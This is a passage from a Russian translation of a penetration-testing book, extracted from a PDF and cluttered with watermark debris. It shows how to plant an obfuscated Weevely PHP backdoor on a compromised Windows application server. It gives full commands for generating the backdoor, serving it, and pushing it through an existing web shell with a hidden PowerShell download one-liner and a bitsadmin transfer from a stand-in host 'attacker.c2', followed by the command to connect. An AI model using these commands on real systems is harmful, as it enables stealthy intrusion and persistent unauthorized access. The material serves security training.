Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
18
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 82  Глава 3.Легкая добыча

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

Query OK, 1 row affected (0.01 sec)

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

MariaDB [(none)]>

Можно увидеть оболочку в действии, выполнив системную команду tasklist и передав значение ECorpAppTest11251 в качестве пароля, как показано на скриншоте.

Рис.3.8. Список процессов на сервере приложений

Это было просто. Теперь произвольный код у нас выполняется на сервере приложений. Мы можем получить целевой исходный код, найти базу данных, сбросить пароли, получить доступ к приложению и т.д.

Есть способ получше

Хотя вы и достигли своей цели (код выполняется на сервере) и эффективно скомпрометировали приложение (и даже больше!), возможно, у вас есть стимул копнуть глубже. Кроме того, созданная веб-оболочка довольно несовершенная,итрудновыполнятькомандыподряд.Еслитестдлитсянесколькодней или даже недель, с ним неудобно и трудно работать. Вам может понадобиться перенестифайлы,перейтинаинтерактивнуюоболочку,перемещатьсяпофайловойсистемеит.д.Поэтойипомногимдругимпричинамследуетперейтина более функциональную оболочку. И тут вступает в дело Weevely.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Анализ сети  83 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Weevely – это мощная веб-оболочка, установленная в Kali Linux по умолча-

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

нию.Использоватьее оченьпросто.Она генерируетзапутанную,защищенную

 

 

 

 

 

 

 

 

 

 

 

 

паролем PHP-оболочку, которая может заменить наш более ранний пример

 

 

 

 

 

 

 

 

 

 

 

 

оболочкисфункциейsystem().Weevelyпредоставляетрядполезныхфункцио­

 

 

 

 

 

 

 

 

 

 

 

 

нальных возможностей, которые выходят за рамки традиционной сквозной

 

 

 

 

 

 

 

 

 

 

 

 

оболочки командной строки, в том числе следующие возможности:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

знакомый интерфейс терминала;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

возможность дальнейшего движения по сети;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

загрузка и скачивание файлов;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

реверсная и прямая TCP-оболочка;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

поддержка Meterpreter.

 

 

 

 

 

 

 

 

 

 

 

Вначале нам нужно сгенерировать новую оболочку, выполнив команду

weevely generate.

Синтаксис выглядиттак:

root@kali:/var/www/html# weevely generate <password> </path/to/shell.php>

Weevely создаст защищенную паролем обфусцированную веб-оболочку PHP по указанному пути на нашем компьютере с Kali.

root@kali:/var/www/html# weevely generate ECorpAppTest11251

/var/www/html/shell.php

Generated backdoor with password 'ECorpAppTest11251' in '/var/www/html/shell.php' of 742 byte size. root@kali:/var/www/html#

Чтобы быстро обслуживать только что созданную веб-оболочку, можно запустить временный веб-сервер на нашем экземпляре Kali Linux с помощью однострочной команды. В состав Python входит модуль SimpleHTTPServer, который можно вызывать из терминала для обслуживания файлов по HTTP. Не нужно возиться с настройками Apache или NGINX. По умолчанию модуль SimpleHTTPServer передаеттекущее содержимое каталога в сеть.

Втойжедиректории,чтоисгенерированныйWeevelyфайлshell.php (/var/ www/html), загрузим модуль SimpleHTTPServer, используя опцию -m. Последний параметр – это порт, который будет прослушивать веб-сервер. В данном случае это порт 80.

root@kali:/var/www/html# python -m SimpleHTTPServer 80

Serving HTTP on 0.0.0.0 port 80 ...

Самоетрудное позади.Теперьнам нужно просто загрузитьshell.php на целевой сервер, используя оболочку xampp.php. Есть несколько способов сделать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 84  Глава 3.Легкая добыча

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

это. На серверах Linux почти всегда доступна команда wget, простая в исполь-

 

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

зовании. В случае с Windows можно применять встроенный файл bitsadmin. exe либо более привлекательный однострочник для powershell.exe.

Можемиспользоватькомандуcurl иприведенныйнижешаблондлявыполнения команд PowerShell на удаленном хосте и эффективной загрузки более продвинутой оболочки Weevely. Просто нужно подключить соответствующие значения.

curl -G "[current shell url]" --data-urlencode "cmd=[command to execute]" &password=ECorpAppTest11251

Команда для выполнения в этом случае будет выглядетьтак:

powershell -w hidden -noni -nop -c (new-object net.webclient).DownloadFile('http://attacker.c2/shell.php', 'c:\xampp\htdocs\xampp\test.php')

Чтобы выполнить загрузчик файлов PowerShell тихо и успешно, необходим ряд опций.Опция -w устанавливает стиль окна в значение hidden,что предотвращает появление любых нежелательных всплывающих окон. Опции -nop и -noni отключают соответственно загрузку профиля и взаимодействие с пользователем, обеспечивая больше скрытности при выполнении загрузчика.

Ключ -c принимает произвольный блок скрипта PowerShell, который должен быть выполнен. Для наших целей создадим новый объект Net.Webclient и вызовем его метод DownloadFile с источником и назначением в качестве параметров.

Приведенный в качестве примера однострочникдля PowerShell извлечетсодержимое оболочки Weevely из SimpleHTTPServer и поместит в соответствующий каталог htdocs на сервере приложений.

root@kali:/var/www/html# curl -G http://api.ecorp.local/xampp/xampp.php --data-urlencode

"password=ECorpAppTest11251& cmd=powershell -w hidden -noni -nop -c (new-object net.webclient).DownloadFile( 'http://attacker.c2/test.php','c:\xampp\htdocs\xampp\test.php')"

root@kali:/var/www/html#

У curl есть опция --data-urlencode, которая, как вы уже догадались, закодирует нашу команду в URL-адрес, чтобы она проходила через HTTP без ка- ких-либо проблем. Опция -G гарантирует, что закодированные данные будут переданы с помощью запроса GET.

Ввидутого что команда PowerShell создается в отдельном процессе,простая PHP-оболочка xampp.php не сможет возвращать сообщения об успешном ре-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Анализ сети  85 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

зультате или сбое. Можно убедиться, что все успешно, попытавшись подклю-

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

читься к оболочке с помощью клиента Weevely.

Несмотря на то что в настоящее время это покажется необычным, вполне возможно, что PowerShell отключен или недоступен в целевой системе Windows. В этом случае использование bitsadmin.exe для загрузки полезных нагрузок работает просто отлично. Подбирая правильные параметры, можем взять нашу оболочку Weevely и поместить ее в папку htdocs.

Шаблон команды bitsadmin, который будем использовать, выглядиттак:

bitsadmin /transfer myjob /download /priority high

[current shell url] [save location]

Как и в случае с загрузчиком PowerShell,подставляем значения переменных в своей команде и вставляем их в шаблон curl.

root@kali:/var/www/html# curl -G http://api.ecorp.local/xampp/xampp.php --data-urlencode

"password=ECorpAppTest11251&cmd=bitsadmin /transfer myjob /download / priority high

http://attacker.c2/shell.php c:\\xampp\\htdocs\\xampp\\test.php"

BITSADMIN version 3.0 [ 7.5.7601 ] BITS administration utility.

(C) Copyright 2000-2006 Microsoft Corp.

BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.

Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.

Transfer complete. root@kali:/var/www/html#

Как ясно показывает вывод bitadmin,эта функциональность устарела.Хотя он по-прежнему доступен во всех версиях Windows,не факт,чтотак будети дальше.Тем не менее предприятия несколько медленнее внедряют новые версии Windows,поэтому вы,вероятно, cможете использовать этот инструмент в течение нескольких лет.

ТеперьклиентWeevelyдолжениметьвозможностьподключитьсякоболочке test.php на удаленном хосте. Синтаксис в данном случае не требует пояснений.

root@kali:/var/www/html# weevely http://api.ecorp.local/xampp/test.php ECorpAppTest11251